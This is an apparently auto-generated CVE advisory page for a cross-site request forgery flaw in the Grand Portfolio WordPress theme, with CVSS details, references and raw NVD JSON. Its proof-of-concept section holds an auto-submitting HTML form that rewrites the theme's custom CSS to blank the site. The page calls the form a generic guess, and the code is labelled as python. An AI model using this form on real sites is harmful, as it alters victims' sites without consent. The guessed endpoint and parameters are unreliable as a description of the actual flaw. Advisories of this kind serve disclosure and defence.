CVE-2026-39634

Description

Cross-Site Request Forgery (CSRF) vulnerability in ThemeGoods Grand Portfolio grandportfolio allows Cross Site Request Forgery.This issue affects Grand Portfolio: from n/a through <= 3.3.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Grand Portfolio <= 3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CSRF in Grand Portfolio Theme -->
<!-- This is a generic example demonstrating the concept -->
<html>
  <body>
    <!-- Target the theme settings endpoint -->
    <form action="http://target-wordpress-site/wp-admin/admin.php?page=grandportfolio_options" method="POST">
      <!-- Example parameter that might be vulnerable -->
      <input type="hidden" name="action" value="save_options" />
      <input type="hidden" name="grandportfolio_data[custom_css]" value="body { display: none; }" />
      <input type="submit" value="Claim Prize!" />
    </form>
    <script>
      // Auto-submit the form on load
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39634
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39634
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39634/
[4] VulDB https://vuldb.com/cve/CVE-2026-39634
[5] https://patchstack.com/database/Wordpress/Theme/grandportfolio/vulnerability/wordpress-grand-portfolio-theme-3-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39634", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:34.020", "lastModified": "2026-04-24T18:06:24.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in ThemeGoods Grand Portfolio grandportfolio allows Cross Site Request Forgery.This issue affects Grand Portfolio: from n/a through <= 3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/grandportfolio/vulnerability/wordpress-grand-portfolio-theme-3-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}